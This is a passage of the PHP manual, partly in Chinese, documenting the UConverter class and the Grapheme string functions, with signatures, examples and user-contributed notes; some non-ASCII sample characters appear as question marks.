UConverter::IMAP_MAILBOX

Table of Contents

  • UConverter::__construct — Create UConverter object
  • UConverter::convert — Convert string from one charset to another
  • UConverter::fromUCallback — Default "from" callback function
  • UConverter::getAliases — Get the aliases of the given name
  • UConverter::getAvailable — Get the available canonical converter names
  • UConverter::getDestinationEncoding — Get the destination encoding
  • UConverter::getDestinationType — Get the destination converter type
  • UConverter::getErrorCode — Get last error code on the object
  • UConverter::getErrorMessage — Get last error message on the object
  • UConverter::getSourceEncoding — Get the source encoding
  • UConverter::getSourceType — Get the source converter type
  • UConverter::getStandards — Get standards associated to converter names
  • UConverter::getSubstChars — Get substitution chars
  • UConverter::reasonText — Get string representation of the callback reason
  • UConverter::setDestinationEncoding — Set the destination encoding
  • UConverter::setSourceEncoding — Set the source encoding
  • UConverter::setSubstChars — Set the substitution chars
  • UConverter::toUCallback — Default "to" callback function
  • UConverter::transcode — Convert a string from one character encoding to another

User Contributed Notes

There are no user contributed notes for this page.


Create UConverter object

  • ? UConverter
  • UConverter::convert ?
  • PHP Manual
  • UConverter
  • Create UConverter object

UConverter::__construct

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::__construct — Create UConverter object

说明

public UConverter::__construct(?string $destination_encoding = null, ?string $source_encoding = null)

Warning

本函数还未编写文档，仅有参数列表。

参数

destination_encoding

source_encoding

返回值

User Contributed Notes

There are no user contributed notes for this page.


Convert string from one charset to another

  • ? UConverter::__construct
  • UConverter::fromUCallback ?
  • PHP Manual
  • UConverter
  • Convert string from one charset to another

UConverter::convert

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::convert — Convert string from one charset to another

说明

public UConverter::convert(string $str, bool $reverse = false): string|false

Warning

本函数还未编写文档，仅有参数列表。

参数

str

reverse

返回值

User Contributed Notes

There are no user contributed notes for this page.


Default "from" callback function

  • ? UConverter::convert
  • UConverter::getAliases ?
  • PHP Manual
  • UConverter
  • Default "from" callback function

UConverter::fromUCallback

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::fromUCallback — Default "from" callback function

说明

public UConverter::fromUCallback(
int $reason,
array $source,
int $codePoint,
int &$error
): string|int|array|null

Warning

本函数还未编写文档，仅有参数列表。

参数

reason

source

codePoint

error

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the aliases of the given name

  • ? UConverter::fromUCallback
  • UConverter::getAvailable ?
  • PHP Manual
  • UConverter
  • Get the aliases of the given name

UConverter::getAliases

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getAliases — Get the aliases of the given name

说明

public static UConverter::getAliases(string $name): array|false|null

Warning

本函数还未编写文档，仅有参数列表。

参数

name

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the available canonical converter names

  • ? UConverter::getAliases
  • UConverter::getDestinationEncoding ?
  • PHP Manual
  • UConverter
  • Get the available canonical converter names

UConverter::getAvailable

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getAvailable — Get the available canonical converter names

说明

public static UConverter::getAvailable(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the destination encoding

  • ? UConverter::getAvailable
  • UConverter::getDestinationType ?
  • PHP Manual
  • UConverter
  • Get the destination encoding

UConverter::getDestinationEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getDestinationEncoding — Get the destination encoding

说明

public UConverter::getDestinationEncoding(): string|false|null

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the destination converter type

  • ? UConverter::getDestinationEncoding
  • UConverter::getErrorCode ?
  • PHP Manual
  • UConverter
  • Get the destination converter type

UConverter::getDestinationType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getDestinationType — Get the destination converter type

说明

public UConverter::getDestinationType(): int|false|null

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • ? UConverter::getDestinationType
  • UConverter::getErrorMessage ?
  • PHP Manual
  • UConverter
  • Get last error code on the object

UConverter::getErrorCode

intl_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getErrorCode -- intl_get_error_code — Get last error code on the object

说明

public UConverter::getErrorCode(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • ? UConverter::getErrorCode
  • UConverter::getSourceEncoding ?
  • PHP Manual
  • UConverter
  • Get last error message on the object

UConverter::getErrorMessage

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getErrorMessage — Get last error message on the object

说明

public UConverter::getErrorMessage(): ?string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the source encoding

  • ? UConverter::getErrorMessage
  • UConverter::getSourceType ?
  • PHP Manual
  • UConverter
  • Get the source encoding

UConverter::getSourceEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getSourceEncoding — Get the source encoding

说明

public UConverter::getSourceEncoding(): string|false|null

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get the source converter type

  • ? UConverter::getSourceEncoding
  • UConverter::getStandards ?
  • PHP Manual
  • UConverter
  • Get the source converter type

UConverter::getSourceType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getSourceType — Get the source converter type

说明

public UConverter::getSourceType(): int|false|null

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get standards associated to converter names

  • ? UConverter::getSourceType
  • UConverter::getSubstChars ?
  • PHP Manual
  • UConverter
  • Get standards associated to converter names

UConverter::getStandards

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getStandards — Get standards associated to converter names

说明

public static UConverter::getStandards(): ?array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get substitution chars

  • ? UConverter::getStandards
  • UConverter::reasonText ?
  • PHP Manual
  • UConverter
  • Get substitution chars

UConverter::getSubstChars

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::getSubstChars — Get substitution chars

说明

public UConverter::getSubstChars(): string|false|null

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get string representation of the callback reason

  • ? UConverter::getSubstChars
  • UConverter::setDestinationEncoding ?
  • PHP Manual
  • UConverter
  • Get string representation of the callback reason

UConverter::reasonText

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::reasonText — Get string representation of the callback reason

说明

public static UConverter::reasonText(int $reason): string

Warning

本函数还未编写文档，仅有参数列表。

参数

reason

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the destination encoding

  • ? UConverter::reasonText
  • UConverter::setSourceEncoding ?
  • PHP Manual
  • UConverter
  • Set the destination encoding

UConverter::setDestinationEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::setDestinationEncoding — Set the destination encoding

说明

public UConverter::setDestinationEncoding(string $encoding): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

encoding

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the source encoding

  • ? UConverter::setDestinationEncoding
  • UConverter::setSubstChars ?
  • PHP Manual
  • UConverter
  • Set the source encoding

UConverter::setSourceEncoding

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::setSourceEncoding — Set the source encoding

说明

public UConverter::setSourceEncoding(string $encoding): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

encoding

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the substitution chars

  • ? UConverter::setSourceEncoding
  • UConverter::toUCallback ?
  • PHP Manual
  • UConverter
  • Set the substitution chars

UConverter::setSubstChars

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::setSubstChars — Set the substitution chars

说明

public UConverter::setSubstChars(string $chars): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

chars

返回值

User Contributed Notes

There are no user contributed notes for this page.


Default "to" callback function

  • ? UConverter::setSubstChars
  • UConverter::transcode ?
  • PHP Manual
  • UConverter
  • Default "to" callback function

UConverter::toUCallback

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::toUCallback — Default "to" callback function

说明

public UConverter::toUCallback(
int $reason,
string $source,
string $codeUnits,
int &$error
): string|int|array|null

Warning

本函数还未编写文档，仅有参数列表。

参数

reason

source

codeUnits

error

返回值

User Contributed Notes

There are no user contributed notes for this page.


Convert a string from one character encoding to another

  • ? UConverter::toUCallback
  • Grapheme 函数 ?
  • PHP Manual
  • UConverter
  • Convert a string from one character encoding to another

UConverter::transcode

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

UConverter::transcode — Convert a string from one character encoding to another

说明

public static UConverter::transcode(
string $str,
string $toEncoding,
string $fromEncoding,
?array $options = null
): string|false

Converts str from fromEncoding to toEncoding.

参数

str

The string to be converted.

toEncoding

The desired encoding of the result.

fromEncoding

The current encoding used to interpret str.

options

An optional array, which may contain the following keys:

  • 'to_subst' - the substitution character to use in place of any character of str which cannot be encoded in toEncoding. If specified, it must represent a single character in the target encoding.

返回值

Returns the converted string 或者在失败时返回 false.

示例

Example #1 Converting from UTF-8 to UTF-16 and back

<?php
$utf8_string = "\x5A\x6F\xC3\xAB"; // 'Zo?' in UTF-8
$utf16_string = UConverter::transcode($utf8_string, 'UTF-16BE', 'UTF-8');
echo bin2hex($utf16_string), "\n";

$new_utf8_string = UConverter::transcode($utf16_string, 'UTF-8', 'UTF-16BE');
echo bin2hex($new_utf8_string), "\n";
?>

以上示例会输出：

005a006f00eb
5a6fc3ab

Example #2 Invalid characters in input

If the input string contains a sequence of bytes which is not valid in the encoding specified by fromEncoding, they are replaced by Unicode code point U+FFFD (Replacement Character) before converting to toEncoding.

<?php
$invalid_utf8_string = "\xC3"; // incomplete multi-byte UTF-8 sequence
$utf16_string = UConverter::transcode($invalid_utf8_string, 'UTF-16BE', 'UTF-8');
echo bin2hex($utf16_string), "\n";
?>

以上示例会输出：

fffd

Example #3 Characters which cannot be encoded

If the input string contains characters which cannot be represented in toEncoding, they are replaced with a single character. The default character to use depends on the encoding, and can be controlled using the 'to_subst' option.

<?php
$utf8_string = "\xE2\x82\xAC"; // � (Euro Sign) does not exist in ISO 8859-1

// Default replacement in ISO 8859-1 is "\x1A" (Substitute)
$iso8859_1_string = UConverter::transcode($utf8_string, 'ISO-8859-1', 'UTF-8');
echo bin2hex($iso8859_1_string), "\n";

// Specify a replacement of '?' ("\x3F") instead
$iso8859_1_string = UConverter::transcode(
$utf8_string, 'ISO-8859-1', 'UTF-8', ['to_subst' => '?']
);
echo bin2hex($iso8859_1_string), "\n";

// Since ISO 8859-1 cannot map U+FFFD, invalid input is also replaced by to_subst
$invalid_utf8_string = "\xC3"; // incomplete multi-byte UTF-8 sequence
$iso8859_1_string = UConverter::transcode(
$invalid_utf8_string, 'ISO-8859-1', 'UTF-8', ['to_subst' => '?']
);
echo bin2hex($iso8859_1_string), "\n";
?>

以上示例会输出：

1a
3f
3f

参见

  • mb_convert_encoding() - 转换字符串，从一个字符编码到另一个字符编码
  • iconv() - 将字符串从一个字符编码转换到另一个字符编码

User Contributed Notes

There are no user contributed notes for this page.


Grapheme 函数

Table of Contents

  • grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8
  • grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
  • grapheme_strlen — Get string length in grapheme units
  • grapheme_strpos — Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack
  • grapheme_substr — Return part of a string

User Contributed Notes

There are no user contributed notes for this page.


Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8

  • ? Grapheme 函数
  • grapheme_stripos ?
  • PHP Manual
  • Grapheme 函数
  • Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8

grapheme_extract

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8

说明

过程化风格

grapheme_extract(
string $haystack,
int $size,
int $type = GRAPHEME_EXTR_COUNT,
int $offset = 0,
int &$next = null
): string|false

Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.

参数

haystack

String to search.

size

Maximum number items - based on the type - to return.

type

Defines the type of units referred to by the size parameter:

  • GRAPHEME_EXTR_COUNT (default) -size is the number of default grapheme clusters to extract.
  • GRAPHEME_EXTR_MAXBYTES -size is the maximum number of bytes returned.
  • GRAPHEME_EXTR_MAXCHARS - size is the maximum number of UTF-8 characters returned.

offset

Starting position in haystack in bytes - if given, it must be zero or a positive value that is less than or equal to the length of haystack in bytes, or a negative value that counts from the end of haystack. If offset does not point to the first byte of a UTF-8 character, the start position is moved to the next character boundary.

next

Reference to a value that will be set to the next starting position. When the call returns, this may point to the first byte position past the end of the string.

返回值

A string starting at offset offset and ending on a default grapheme cluster boundary that conforms to the size and type specified, 或者在失败时返回 false.

更新日志

版本 | 说明
7.1.0 | Support for negative offsets has been added.

示例

Example #1 grapheme_extract() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_extract( $char_a_ring_nfd . $char_o_diaeresis_nfd, 1, GRAPHEME_EXTR_COUNT, 2));

?>

以上示例会输出：

o%CC%88

参见

  • grapheme_substr() - Return part of a string
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

Philo 06-Nov-2023 09:20
The other comments on this page were helpful for me.
However, consider using something better than empty($value) when checking the value returned by grapheme_extract since it could as well return something like "0" (which of course evaluates to false).
yevgen dot grytsay at gmail dot com 19-Oct-2020 01:35
Looping through grapheme clusters:

<?php

// Example taken from Rust documentation: https://doc.rust-lang.org/book/ch08-02-strings.html#bytes-and-scalar-values-and-grapheme-clusters-oh-my
$str = "??????";
// Alternatively:
//$str = pack('C*', ...[224, 164, 168, 224, 164, 174, 224, 164, 184, 224, 165, 141, 224, 164, 164, 224, 165, 135]);
$next = 0;
$maxbytes = strlen($str);

var_dump($str);

while ($next < $maxbytes) {
    $char = grapheme_extract($str, 1, GRAPHEME_EXTR_COUNT, $next, $next);
    if (empty($char)) {
        continue;
    }
    echo "{$char} - This utf8 character is " . strlen($char) . ' bytes long', PHP_EOL;
}

//string(18) "??????"
//? - This utf8 character is 3 bytes long
//? - This utf8 character is 3 bytes long
//?? - This utf8 character is 6 bytes long
//?? - This utf8 character is 6 bytes long
?>
AJH 12-Jul-2011 04:37
Here's how to use grapheme_extract() to loop across a UTF-8 string character by character.

<?php

$str = "?abc?'...";
// if the previous line didn't come through, the string contained:
//U+0633,U+0061,U+0062,U+0063,U+0915,U+2019,U+2026

$n = 0;

for (    $start = 0, $next = 0, $maxbytes = strlen($str), $c = '';
        $start < $maxbytes;
        $c = grapheme_extract($str, 1, GRAPHEME_EXTR_MAXCHARS , ($start = $next), $next)
    )
{
    if (empty($c))
        continue;
    echo "This utf8 character is " . strlen($c) . " bytes long and its first byte is " . ord($c[0]) . "\n";
    $n++;
}
echo "$n UTF-8 characters in a string of $maxbytes bytes!\n";
// Should print: 7 UTF8 characters in a string of 14 bytes!
?>


Find position (in grapheme units) of first occurrence of a case-insensitive string

  • ? grapheme_extract
  • grapheme_stristr ?
  • PHP Manual
  • Grapheme 函数
  • Find position (in grapheme units) of first occurrence of a case-insensitive string

grapheme_stripos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string

说明

过程化风格

grapheme_stripos(string $haystack, string $needle, int $offset = 0): int|false

Find position (in grapheme units) of first occurrence of a case-insensitive string

参数

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional offset parameter allows you to specify where in haystack to start searching as an offset in grapheme units (not bytes or characters). If the offset is negative, it is treated relative to the end of the string. The position returned is still relative to the beginning of haystack regardless of the value of offset.

返回值

Returns the position as an integer. If needle is not found, grapheme_stripos() will return false.

更新日志

版本 | 说明
7.1.0 | Support for negative offsets has been added.

示例

Example #1 grapheme_stripos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_stripos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

以上示例会输出：

2

参见

  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

Anonymous 26-Jun-2018 06:12
As expected, grapheme_stripos() does return boolean FALSE if the needle is not found in the haystack.
Use strict type comparison to check for that condition, like:

if (FALSE === grapheme_stripos('a', 'b')) {print 'Needle not found';}


Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack

  • ? grapheme_stripos
  • grapheme_strlen ?
  • PHP Manual
  • Grapheme 函数
  • Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack

grapheme_stristr

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack

说明

过程化风格

grapheme_stristr(string $haystack, string $needle, bool $beforeNeedle = false): string|false

Returns part of haystack string starting from and including the first occurrence of case-insensitive needle to the end of haystack.

参数

haystack

The input string. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

beforeNeedle

If true, grapheme_strstr() returns the part of the haystack before the first occurrence of the needle (excluding needle).

返回值

Returns the portion of haystack, or false if needle is not found.

示例

Example #1 grapheme_stristr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_O_diaeresis_nfd));

?>

以上示例会输出：

o%CC%88a%CC%8A

参见

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Get string length in grapheme units

  • ? grapheme_stristr
  • grapheme_strpos ?
  • PHP Manual
  • Grapheme 函数
  • Get string length in grapheme units

grapheme_strlen

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strlen — Get string length in grapheme units

说明

过程化风格

grapheme_strlen(string $string): int|false|null

Get string length in grapheme units (not bytes or characters)

参数

string

The string being measured for length. It must be a valid UTF-8 string.

返回值

The length of the string on success, 或者在失败时返回 false.

示例

Example #1 grapheme_strlen() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strlen( 'abc' . $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd);

?>

以上示例会输出：

6

参见

  • » Unicode Text Segmentation: Grapheme Cluster Boundaries
  • iconv_strlen() - 返回字符串的字符数统计
  • mb_strlen() - 获取字符串的长度
  • strlen() - 获取字符串长度

User Contributed Notes

jonhoggg at gmail dot com 09-Dec-2021 04:08
You can use grapheme_strlen() to count emojis as a single character:

<?php
    echo strlen('??????????????'); //28 - oh no
    echo mb_strlen('??????????????'); // - closer, but no
    echo grapheme_strlen('??????????????'); //1 - Bingo
?>


Find position (in grapheme units) of first occurrence of a string

  • ? grapheme_strlen
  • grapheme_strripos ?
  • PHP Manual
  • Grapheme 函数
  • Find position (in grapheme units) of first occurrence of a string

grapheme_strpos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strpos — Find position (in grapheme units) of first occurrence of a string

说明

过程化风格

grapheme_strpos(string $haystack, string $needle, int $offset = 0): int|false

Find position (in grapheme units) of first occurrence of a string

参数

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional offset parameter allows you to specify where in haystack to start searching as an offset in grapheme units (not bytes or characters). If the offset is negative, it is treated relative to the end of the string. The position returned is still relative to the beginning of haystack regardless of the value of offset.

返回值

Returns the position as an integer. If needle is not found, grapheme_strpos() will return false.

更新日志

版本 | 说明
7.1.0 | Support for negative offsets has been added.

示例

Example #1 grapheme_strpos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strpos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);

?>

以上示例会输出：

2

参见

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Find position (in grapheme units) of last occurrence of a case-insensitive string

  • ? grapheme_strpos
  • grapheme_strrpos ?
  • PHP Manual
  • Grapheme 函数
  • Find position (in grapheme units) of last occurrence of a case-insensitive string

grapheme_strripos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string

说明

过程化风格

grapheme_strripos(string $haystack, string $needle, int $offset = 0): int|false

Find position (in grapheme units) of last occurrence of a case-insensitive string

参数

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional offset parameter allows you to specify where in haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of offset.

返回值

Returns the position as an integer. If needle is not found, grapheme_strripos() will return false.

示例

Example #1 grapheme_strripos() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_strripos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

以上示例会输出：

2

参见

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Find position (in grapheme units) of last occurrence of a string

  • ? grapheme_strripos
  • grapheme_strstr ?
  • PHP Manual
  • Grapheme 函数
  • Find position (in grapheme units) of last occurrence of a string

grapheme_strrpos

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string

说明

过程化风格

grapheme_strrpos(string $haystack, string $needle, int $offset = 0): int|false

Find position (in grapheme units) of last occurrence of a string

参数

haystack

The string to look in. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

offset

The optional offset parameter allows you to specify where in haystack to start searching as an offset in grapheme units (not bytes or characters). The position returned is still relative to the beginning of haystack regardless of the value of offset.

返回值

Returns the position as an integer. If needle is not found, grapheme_strrpos() will return false.

示例

Example #1 grapheme_strrpos() example

<?php
$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print grapheme_strrpos( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_o_diaeresis_nfd, $char_o_diaeresis_nfd);
?>

以上示例会输出：

2

参见

  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strstr() - Returns part of haystack string from the first occurrence of needle to the end of haystack
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Returns part of haystack string from the first occurrence of needle to the end of haystack

  • ? grapheme_strrpos
  • grapheme_substr ?
  • PHP Manual
  • Grapheme 函数
  • Returns part of haystack string from the first occurrence of needle to the end of haystack

grapheme_strstr

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack

说明

过程化风格

grapheme_strstr(string $haystack, string $needle, bool $beforeNeedle = false): string|false

Returns part of haystack string from the first occurrence of needle to the end of haystack (including the needle).

参数

haystack

The input string. Must be valid UTF-8.

needle

The string to look for. Must be valid UTF-8.

beforeNeedle

If true, grapheme_strstr() returns the part of the haystack before the first occurrence of the needle (excluding the needle).

返回值

Returns the portion of haystack, or false if needle is not found.

示例

Example #1 grapheme_strstr() example

<?php

$char_a_ring_nfd = "a\xCC\x8A"; // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_stristr( $char_a_ring_nfd . $char_o_diaeresis_nfd . $char_a_ring_nfd, $char_o_diaeresis_nfd));

?>

以上示例会输出：

o%CC%88a%CC%8A

参见

  • grapheme_stristr() - Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack
  • grapheme_stripos() - Find position (in grapheme units) of first occurrence of a case-insensitive string
  • grapheme_strpos() - Find position (in grapheme units) of first occurrence of a string
  • grapheme_strripos() - Find position (in grapheme units) of last occurrence of a case-insensitive string
  • grapheme_strrpos() - Find position (in grapheme units) of last occurrence of a string
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

There are no user contributed notes for this page.


Return part of a string

  • ? grapheme_strstr
  • IDN 函数 ?
  • PHP Manual
  • Grapheme 函数
  • Return part of a string

grapheme_substr

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

grapheme_substr — Return part of a string

说明

过程化风格

grapheme_substr(string $string, int $offset, ?int $length = null): string|false

Return part of a string

参数

string

The input string. Must be valid UTF-8.

offset

